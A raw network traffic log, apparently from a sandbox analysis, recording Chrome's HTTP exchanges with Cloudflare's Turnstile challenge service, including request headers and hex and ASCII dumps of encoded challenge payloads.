8e878b58497b7cb1-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:40:33 UTC	622	IN	Data Raw: 73 59 74 38 72 37 6d 43 6b 61 4f 37 73 72 6d 48 74 59 43 4a 79 34 32 39 77 4d 43 4e 71 35 48 4c 79 61 50 62 78 39 4c 49 74 64 54 55 6e 72 48 57 6e 63 48 57 33 36 66 57 70 61 79 6c 36 63 4c 62 71 39 72 4a 78 4d 50 74 73 4f 48 35 74 71 33 59 39 63 6e 75 39 72 2f 75 76 66 48 46 75 4e 72 6e 75 2f 4c 5a 33 4e 72 76 79 4f 67 45 34 2b 55 51 43 65 6a 51 39 41 33 57 35 51 37 7a 37 41 6b 63 33 42 48 64 2f 64 30 56 34 51 4c 69 41 43 6f 43 35 78 76 36 49 79 4c 37 43 69 41 72 43 68 49 32 4d 44 4d 35 46 68 51 4e 47 7a 77 41 50 68 4d 77 41 45 4d 58 4e 41 51 67 49 53 56 42 48 52 6b 2b 42 44 41 2b 53 56 49 4a 53 43 4d 7a 4e 44 55 59 4d 55 41 78 55 52 38 6a 47 6b 41 67 59 6d 56 42 49 56 59 6e 4f 79 64 71 5a 56 35 69 59 6d 42 4a 4d 6c 39 45 53 58 46 53 4f 47 77 77 65 48 70 Data Ascii: sYt8r7mCkaO7srmHtYCJy429wMCNq5HLyaPbx9LItdTUnrHWncHW36fWpayl6cLbq9rJxMPtsOH5tq3Y9cnu9r/uvfHFuNrnu/LZ3NrvyOgE4+UQCejQ9A3W5Q7z7Akc3BHd/d0V4QLiACoC5xv6IyL7CiArChI2MDM5FhQNGzwAPhMwAEMXNAQgISVBHRk+BDA+SVIJSCMzNDUYMUAxUR8jGkAgYmVBIVYnOydqZV5iYmBJMl9ESXFSOGwweHp
2024-11-26 05:40:33 UTC	1369	IN	Data Raw: 61 58 5a 47 74 56 6b 6f 74 6d 6e 6d 74 37 6c 35 65 62 63 71 4a 6b 6a 6e 4f 43 63 61 64 35 71 34 32 4c 67 34 71 61 68 47 2b 50 72 6f 2b 53 62 70 65 70 73 61 79 61 6d 70 4b 61 6f 70 36 63 67 36 53 5a 6d 71 53 36 74 62 61 6e 72 61 53 5a 68 37 33 51 30 71 53 6b 70 64 6a 56 6d 4b 4b 35 30 72 36 5a 76 63 44 58 74 39 69 76 73 75 54 51 34 74 62 4b 36 37 58 72 34 4d 76 51 78 4f 53 38 35 71 2f 49 7a 63 7a 32 78 2b 62 58 31 76 66 48 2f 75 4c 58 38 62 33 61 39 2f 62 2b 43 77 44 33 78 41 6e 34 35 39 72 73 30 65 4c 6c 34 2b 30 52 45 41 6f 4b 46 4e 62 6f 47 68 38 55 45 75 77 6a 31 67 62 78 42 69 45 5a 36 75 55 73 41 51 59 67 42 44 50 37 41 67 76 78 4d 50 63 56 42 42 67 55 4f 6a 63 65 4d 54 6f 64 2f 69 77 42 4a 79 49 51 53 6a 68 47 53 52 30 65 50 46 45 68 55 56 49 4f 4b Data Ascii: aXZGtVkotmnmt7l5ebcqJkjnOCcad5q42Lg4qahG+Pro+SbpepsayampKaop6cg6SZmqS6tbanraSZh73Q0qSkpdjVmKK50r6ZvcDXt9ivsuTQ4tbK67Xr4MvQxOS85q/Izcz2x+bX1vfH/uLX8b3a9/b+CwD3xAn459rs0eLl4+0REAoKFNboGh8UEuwj1gbxBiEZ6uUsAQYgBDP7AgvxMPcVBBgUOjceMTod/iwBJyIQSjhGSR0ePFEhUVIOK
2024-11-26 05:40:33 UTC	1369	IN	Data Raw: 57 66 4a 4b 50 6c 46 31 67 58 48 74 62 65 46 39 66 6e 35 52 37 6c 59 65 45 6e 33 43 6a 6f 48 4f 53 6b 35 36 69 61 71 2b 57 6d 61 6d 64 64 36 6d 41 75 71 4f 33 6a 35 36 30 6e 4b 6d 32 78 4d 6d 61 78 63 4f 6c 70 34 4f 45 6a 34 72 4a 6c 5a 54 56 78 62 69 6a 31 36 75 56 6d 64 79 67 33 74 4c 43 32 4f 43 2f 77 74 61 34 71 4c 53 35 34 4e 2b 39 73 4e 37 66 72 4f 6e 67 72 65 62 49 32 65 62 75 38 62 71 2b 38 38 38 44 41 64 48 33 32 76 58 53 31 74 66 32 43 4d 72 67 44 4d 33 44 45 65 77 51 36 65 51 46 30 66 72 5a 32 63 37 54 32 74 38 63 41 52 4c 73 34 69 51 58 47 68 54 66 36 4f 6e 38 37 53 6f 6b 35 67 44 77 4d 41 67 70 36 41 63 4d 39 44 6f 52 4c 43 67 72 45 42 63 4e 49 76 6f 2b 49 79 63 49 4b 51 4d 5a 4f 6b 49 6b 48 54 30 77 52 56 51 7a 4e 43 63 55 51 68 4d 6f 4a 7a Data Ascii: WfJKPlF1gXHtbeF9fn5R7lYeEn3CjoHOSk56iaq+Wmamdd6mAuqO3j560nKm2xMmaxcOlp4OEj4rJlZTVxbij16uVmdyg3tLC2OC/wta4qLS54N+9sN7frOngrebI2ebu8bq+888DAdH32vXS1tf2CMrgDM3DEewQ6eQF0frZ2c7T2t8cARLs4iQXGhTf6On87Sok5gDwMAgp6AcM9DoRLCgrEBcNIvo+IycIKQMZOkIkHT0wRVQzNCcUQhMoJz
2024-11-26 05:40:33 UTC	1369	IN	Data Raw: 57 6f 52 76 57 49 56 65 63 61 68 38 6c 70 35 39 6d 71 75 71 69 4c 4f 30 67 70 53 4c 73 36 69 50 73 4b 39 33 6e 73 43 68 76 72 4b 2b 6c 71 53 4f 66 35 43 66 77 70 4f 69 68 73 53 46 67 73 33 53 6a 4a 54 44 6b 71 69 56 6b 36 71 53 73 4c 33 58 34 4c 4b 77 76 36 79 63 72 75 4f 39 77 64 75 36 35 4e 75 6b 32 4c 7a 4a 76 65 6a 49 30 63 6e 78 34 4c 43 34 2b 4d 7a 49 35 39 48 58 75 76 4d 45 31 2f 7a 50 37 67 50 46 77 77 4c 6e 78 75 49 50 44 75 37 36 37 74 30 4e 35 75 55 51 35 67 77 4b 38 77 58 34 37 39 55 4e 37 76 62 32 34 2f 54 77 48 2f 73 57 45 79 55 56 34 77 48 35 37 67 41 47 46 42 48 73 46 2f 51 35 4a 66 41 76 4b 41 77 64 4f 78 2f 7a 2f 68 73 41 2f 68 63 36 4b 45 74 48 53 78 6f 32 46 77 67 77 42 42 42 48 44 45 4d 4f 4c 6b 46 4a 4f 53 67 62 54 68 73 53 4c 6a 63 Data Ascii: WoRvWIVecah8lp59mquqiLO0gpSLs6iPsK93nsChvrK+lqSOf5CfwpOihsSFgs3SjJTDkqiVk6qSsL3X4LKwv6ycruO9wdu65Nuk2LzJvejI0cnx4LC4+MzI59HXuvME1/zP7gPFwwLnxuIPDu767t0N5uUQ5gwK8wX479UN7vb24/TwH/sWEyUV4wH57gAGFBHsF/Q5JfAvKAwdOx/z/hsA/hc6KEtHSxo2FwgwBBBHDEMOLkFJOSgbThsSLjc
2024-11-26 05:40:33 UTC	1369	IN	Data Raw: 6e 53 49 6e 6e 71 41 6a 4b 52 78 6b 4a 36 31 64 5a 53 53 63 35 4f 4c 71 4c 4b 4b 66 62 43 63 75 5a 47 78 66 34 4b 62 70 4c 75 6d 71 4c 62 4e 6a 61 79 36 72 49 79 4b 79 61 4f 31 6f 35 2f 57 32 70 69 6c 74 4e 76 51 78 37 2f 53 30 71 7a 57 33 35 79 77 34 74 61 7a 76 72 71 6f 35 4d 50 5a 71 72 48 74 37 75 6e 79 37 71 37 4e 34 39 48 39 32 39 6a 62 39 77 44 43 2f 65 33 54 37 77 67 43 39 63 55 45 77 67 66 4c 78 38 73 4b 79 63 58 78 2f 66 54 7a 7a 68 50 57 38 65 33 31 35 76 77 4f 44 2f 62 7a 37 42 2f 31 39 66 77 46 2f 4f 51 72 35 66 34 50 4a 79 30 4e 44 53 51 56 4e 53 77 78 38 69 38 57 4d 44 63 50 2b 52 44 36 4d 78 63 57 51 6a 42 42 51 53 68 46 51 67 6b 32 52 30 46 47 4c 68 45 69 44 55 4e 54 43 68 55 6b 47 44 4a 61 47 52 64 4e 4c 43 34 65 4f 45 34 34 51 55 63 62 Data Ascii: nSInnqAjKRxkJ61dZSSc5OLqLKKfbCcuZGxf4KbpLumqLbNjay6rIyKyaO1o5/W2piltNvQx7/S0qzW35yw4tazvrqo5MPZqrHt7uny7q7N49H929jb9wDC/e3T7wgC9cUEwgfLx8sKycXx/fTzzhPW8e315vwOD/bz7B/19fwF/OQr5f4PJy0NDSQVNSwx8i8WMDcP+RD6MxcWQjBBQShFQgk2R0FGLhEiDUNTChUkGDJaGRdNLC4eOE44QUcb
2024-11-26 05:40:33 UTC	1369	IN	Data Raw: 79 71 62 4a 4f 54 67 6d 68 79 6c 34 79 72 65 35 57 33 65 5a 2b 73 65 37 31 39 6d 5a 79 79 66 37 53 6b 71 71 4b 65 69 5a 6d 42 77 4a 2b 4d 72 37 4f 2b 7a 37 61 52 6c 63 58 45 71 63 6a 56 75 37 33 55 75 73 76 59 34 65 62 45 36 4f 69 2b 6e 65 4b 6a 77 38 6a 67 77 38 6e 42 38 37 44 78 30 73 4c 72 38 39 66 54 75 37 6d 38 39 63 48 65 2b 41 4c 4f 37 76 62 48 41 38 48 48 35 4d 66 76 78 77 48 6a 79 2f 44 2b 7a 65 59 41 43 4e 6a 61 46 78 63 56 31 41 34 4d 2b 43 4d 66 33 50 63 66 41 50 73 41 34 53 73 58 35 75 67 72 37 79 63 47 4e 52 4d 66 45 53 38 4d 2b 42 55 37 44 7a 67 38 45 68 5a 41 4e 77 4c 32 47 42 59 6e 47 69 59 70 50 41 30 71 48 42 6b 44 4d 52 41 76 43 79 49 32 4c 79 34 53 4e 44 67 37 4a 31 52 41 56 56 56 44 52 54 6b 75 4d 55 6b 6c 55 6b 42 41 4c 53 67 73 4c Data Ascii: yqbJOTgmhyl4yre5W3eZ+se719mZyyf7SkqqKeiZmBwJ+Mr7O+z7aRlcXEqcjVu73UusvY4ebE6Oi+neKjw8jgw8nB87Dx0sLr89fTu7m89cHe+ALO7vbHA8HH5MfvxwHjy/D+zeYACNjaFxcV1A4M+CMf3PcfAPsA4SsX5ugr7ycGNRMfES8M+BU7Dzg8EhZANwL2GBYnGiYpPA0qHBkDMRAvCyI2Ly4SNDg7J1RAVVVDRTkuMUklUkBALSgsL
2024-11-26 05:40:33 UTC	1369	IN	Data Raw: 6d 67 70 4b 78 70 35 47 4a 6a 4a 65 71 77 70 65 50 65 35 6c 39 6d 73 4b 35 6f 37 71 4a 6e 4a 79 49 68 35 47 70 73 38 6a 49 78 4c 69 51 30 4d 37 5a 79 73 7a 4e 31 4c 43 33 76 38 2b 63 30 36 2f 59 78 71 6e 44 31 4b 61 71 76 4e 69 72 76 75 4c 64 72 72 47 74 34 62 50 4b 74 4f 6a 78 32 74 66 73 33 37 37 4f 37 62 2f 31 30 74 2f 37 34 2f 54 6d 35 38 6e 32 31 39 7a 6a 35 4f 38 4f 42 77 55 42 39 68 48 78 2b 78 44 72 33 66 4c 2b 2f 74 77 67 49 51 45 52 48 42 38 67 39 66 55 61 4c 41 54 76 43 42 77 4a 38 69 49 4e 37 66 62 7a 42 78 4d 54 42 68 37 32 2f 69 45 7a 4c 52 45 45 2b 79 55 37 42 6a 56 49 4f 68 67 39 50 77 34 39 55 31 51 50 55 53 6c 43 45 30 74 61 4a 43 35 61 52 31 70 4b 56 78 52 54 4d 43 30 32 4a 47 42 5a 50 6b 78 42 62 47 42 4c 51 7a 70 6b 61 45 34 2b 4c 56 Data Ascii: mgpKxp5GJjJeqwpePe5l9msK5o7qJnJyIh5Gps8jIxLiQ0M7ZyszN1LC3v8+c06/YxqnD1KaqvNirvuLdrrGt4bPKtOjx2tfs377O7b/10t/74/Tm58n219zj5O8OBwUB9hHx+xDr3fL+/twgIQERHB8g9fUaLATvCBwJ8iIN7fbzBxMTBh72/iEzLREE+yU7BjVIOhg9Pw49U1QPUSlCE0taJC5aR1pKVxRTMC02JGBZPkxBbGBLQzpkaE4+LV
2024-11-26 05:40:33 UTC	1369	IN	Data Raw: 74 58 56 79 6d 72 57 41 73 4c 71 6d 79 49 6a 43 6f 34 61 68 79 34 6d 49 78 49 65 6f 73 4c 44 53 79 5a 2f 4d 6a 35 69 6a 78 35 79 6e 71 72 65 35 71 36 47 6b 72 62 4f 79 73 4d 6d 33 71 72 54 66 77 72 65 77 73 4d 57 2b 79 39 58 44 71 66 58 68 2b 4c 66 73 75 64 6e 67 7a 4d 76 71 34 38 37 7a 42 63 44 36 41 39 55 48 39 66 72 65 44 66 6b 48 36 42 48 38 42 74 49 56 45 75 66 57 46 78 51 62 37 68 77 4b 33 69 49 68 44 67 48 38 42 52 6f 6c 4c 42 51 56 48 66 67 47 4a 6a 49 64 41 41 34 77 4c 77 55 35 43 6a 59 4b 42 78 49 75 45 44 45 51 4c 45 56 42 46 68 63 6d 42 54 51 37 4f 6b 63 73 4a 42 30 65 52 55 6c 50 4d 7a 45 55 46 53 63 76 54 30 6b 37 54 56 55 38 47 6c 4d 78 56 52 74 55 57 54 34 6d 4d 79 4e 62 4e 55 35 4c 4c 6a 39 7a 59 69 30 72 4d 47 41 76 64 58 4e 6b 4f 6c 55 Data Ascii: tXVymrWAsLqmyIjCo4ahy4mIxIeosLDSyZ/Mj5ijx5ynqre5q6GkrbOysMm3qrTfwrewsMW+y9XDqfXh+LfsudngzMvq487zBcD6A9UH9freDfkH6BH8BtIVEufWFxQb7hwK3iIhDgH8BRolLBQVHfgGJjIdAA4wLwU5CjYKBxIuEDEQLEVBFhcmBTQ7OkcsJB0eRUlPMzEUFScvT0k7TVU8GlMxVRtUWT4mMyNbNU5LLj9zYi0rMGAvdXNkOlU
2024-11-26 05:40:33 UTC	1369	IN	Data Raw: 62 44 48 73 59 4f 78 6e 37 71 63 79 49 43 39 79 4c 48 4d 30 72 50 46 77 37 66 43 78 64 54 55 74 71 6e 48 74 72 6e 62 76 4c 58 54 33 2b 48 43 31 39 50 45 75 62 58 58 36 72 76 76 77 64 50 4b 7a 63 48 51 79 63 48 6a 37 4d 33 4b 75 4c 6d 2b 31 64 44 79 41 2f 4d 48 33 4e 41 45 78 4d 48 44 32 51 48 70 37 77 55 4e 43 66 76 6a 33 67 54 32 35 65 54 71 48 50 54 73 43 4f 34 50 37 4e 30 68 47 67 2f 67 35 77 48 30 4b 76 58 30 42 53 2f 36 43 52 77 44 2f 4f 72 76 4d 54 59 4c 4d 6a 49 6c 4b 42 6e 35 46 76 59 57 4f 79 54 38 46 43 38 77 45 53 51 5a 46 69 55 2f 4a 68 6b 2f 4f 77 38 64 52 55 59 50 45 6b 73 71 50 46 74 54 4d 78 67 65 4c 42 30 78 57 56 4d 6c 59 6b 4a 70 49 56 6b 36 4e 79 56 59 52 7a 74 6b 59 55 5a 6c 61 47 46 4a 55 30 4a 77 56 6e 77 39 62 55 35 78 64 47 46 53 Data Ascii: bDHsYOxn7qcyIC9yLHM0rPFw7fCxdTUtqnHtrnbvLXT3+HC19PEubXX6rvvwdPKzcHQycHj7M3KuLm+1dDyA/MH3NAExMHD2QHp7wUNCfvj3gT25eTqHPTsCO4P7N0hGg/g5wH0KvX0BS/6CRwD/OrvMTYLMjIlKBn5FvYWOyT8FC8wESQZFiU/Jhk/Ow8dRUYPEksqPFtTMxgeLB0xWVMlYkJpIVk6NyVYRztkYUZlaGFJU0JwVnw9bU5xdGFS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49744	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:34 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/2088253425:1732598676:xqCfkJoQHbGGAUFTOOA5ON0U9RX3BvZEBOmLZlWQOgA/8e878b3d8eb043b2/UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:35 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 05:40:35 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: GNIl+0m/44SYqnQvGaW275aQMdr8ee7zIDA=$WsPipzgrSk8WE0w+ cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e878b67ee947d05-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:40:35 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49745	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:35 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8e878b3d8eb043b2/1732599632814/c398450831134e10a8935027b58a951c4b17739b90bb1bc8cc9150b849cae471/lkbPnOARd4QdNnO HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:35 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 26 Nov 2024 05:40:35 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-11-26 05:40:35 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 77 35 68 46 43 44 45 54 54 68 43 6f 6b 31 41 6e 74 59 71 56 48 45 73 58 63 35 75 51 75 78 76 49 7a 4a 46 51 75 45 6e 4b 35 48 45 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gw5hFCDETThCok1AntYqVHEsXc5uQuxvIzJFQuEnK5HEAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-11-26 05:40:35 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49747	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:37 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8e878b3d8eb043b2/1732599632815/Qf4EdubE2fHxWlJ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:37 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:40:37 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8e878b76bf5e43e3-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:40:37 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 35 00 00 00 34 08 02 00 00 00 a5 d8 e7 82 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR54IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49748	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:39 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8e878b3d8eb043b2/1732599632815/Qf4EdubE2fHxWlJ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:39 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:40:39 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8e878b81bc954216-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:40:39 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 35 00 00 00 34 08 02 00 00 00 a5 d8 e7 82 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR54IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49749	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:39 UTC	1175	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/2088253425:1732598676:xqCfkJoQHbGGAUFTOOA5ON0U9RX3BvZEBOmLZlWQOgA/8e878b3d8eb043b2/UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31582 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:39 UTC	16384	OUT	Data Raw: 76 5f 38 65 38 37 38 62 33 64 38 65 62 30 34 33 62 32 3d 6a 79 36 53 47 66 70 39 63 70 36 66 79 46 69 64 6d 64 38 64 61 72 74 70 32 6c 70 4f 64 53 73 25 32 62 53 33 36 64 4e 64 50 53 43 53 69 79 36 64 39 42 64 68 66 64 61 52 53 70 24 69 4f 64 59 38 4f 66 64 74 7a 64 4f 54 57 59 38 6d 64 76 4c 61 6d 71 64 69 36 64 5a 41 46 36 66 67 64 66 4c 64 67 64 6c 4a 42 78 63 59 64 69 4c 64 67 6a 34 52 70 5a 62 64 33 59 71 64 43 72 44 65 34 64 35 47 66 74 71 4d 64 6b 4e 4e 53 58 64 51 50 61 6d 38 74 53 61 5a 39 30 4f 4e 64 4d 59 77 74 35 36 64 41 2b 4d 38 64 66 59 38 79 32 74 42 31 5a 46 70 6d 49 70 4e 54 6a 74 71 4b 24 63 64 46 5a 36 64 61 53 66 46 53 55 36 72 32 6d 51 55 52 2b 2b 34 76 4a 49 6d 64 4d 63 2b 62 55 6c 6a 65 51 4a 65 79 53 47 50 52 53 72 72 61 4a 78 61 Data Ascii: v_8e878b3d8eb043b2=jy6SGfp9cp6fyFidmd8dartp2lpOdSs%2bS36dNdPSCSiy6d9BdhfdaRSp$iOdY8OfdtzdOTWY8mdvLamqdi6dZAF6fgdfLdgdlJBxcYdiLdgj4RpZbd3YqdCrDe4d5GftqMdkNNSXdQPam8tSaZ90ONdMYwt56dA+M8dfY8y2tB1ZFpmIpNTjtqK$cdFZ6daSfFSU6r2mQUR++4vJImdMc+bUljeQJeySGPRSrraJxa
2024-11-26 05:40:39 UTC	15198	OUT	Data Raw: 32 64 35 7a 72 64 6c 64 53 7a 4a 52 64 4e 64 64 66 58 51 64 72 63 33 6a 4a 59 64 55 52 55 64 46 63 64 44 64 66 4c 72 36 70 43 52 72 62 61 35 52 38 64 51 6f 65 6f 7a 43 52 41 4c 61 33 2b 74 64 57 64 61 79 64 52 64 71 74 70 36 64 55 41 6a 4f 44 58 35 6d 64 74 64 6c 63 70 39 64 6b 53 61 74 70 76 64 44 53 46 52 61 38 64 6c 4b 46 35 64 62 64 48 78 70 64 64 57 64 61 52 46 78 64 33 4c 6e 4c 70 64 64 31 64 77 4c 70 34 64 56 64 6a 53 72 61 38 65 64 4d 63 55 6d 68 52 64 72 44 75 76 70 4c 53 41 64 61 50 53 36 4d 64 4e 72 6f 7a 76 64 31 64 61 4c 66 46 53 30 64 61 52 64 76 4c 55 52 36 74 66 52 64 41 53 36 35 4d 69 5a 77 64 44 75 7a 30 63 69 30 74 55 61 72 64 63 56 31 41 70 61 64 6e 52 72 63 66 4c 53 41 64 64 24 52 2d 78 76 48 44 79 70 63 30 69 4a 2d 53 4f 67 37 72 64 Data Ascii: 2d5zrdldSzJRdNddfXQdrc3jJYdURUdFcdDdfLr6pCRrba5R8dQoeozCRALa3+tdWdaydRdqtp6dUAjODX5mdtdlcp9dkSatpvdDSFRa8dlKF5dbdHxpddWdaRFxd3LnLpdd1dwLp4dVdjSra8edMcUmhRdrDuvpLSAdaPS6MdNrozvd1daLfFS0daRdvLUR6tfRdAS65MiZwdDuz0ci0tUardcV1ApadnRrcfLSAdd$R-xvHDypc0iJ-SOg7rd
2024-11-26 05:40:39 UTC	330	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:40:39 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26288 Connection: close cf-chl-gen: GOhpe1KN9N2PGI/j1IWwKPW2LQDL88CtQAbYyPpyv+RSLwhR/zYwsR6G1fSl96XZQZUMRwEhz21ndlKb$fSncA80wa6QC9ZWj Server: cloudflare CF-RAY: 8e878b830db07cee-EWR alt-svc: h3=":443"; ma=86400
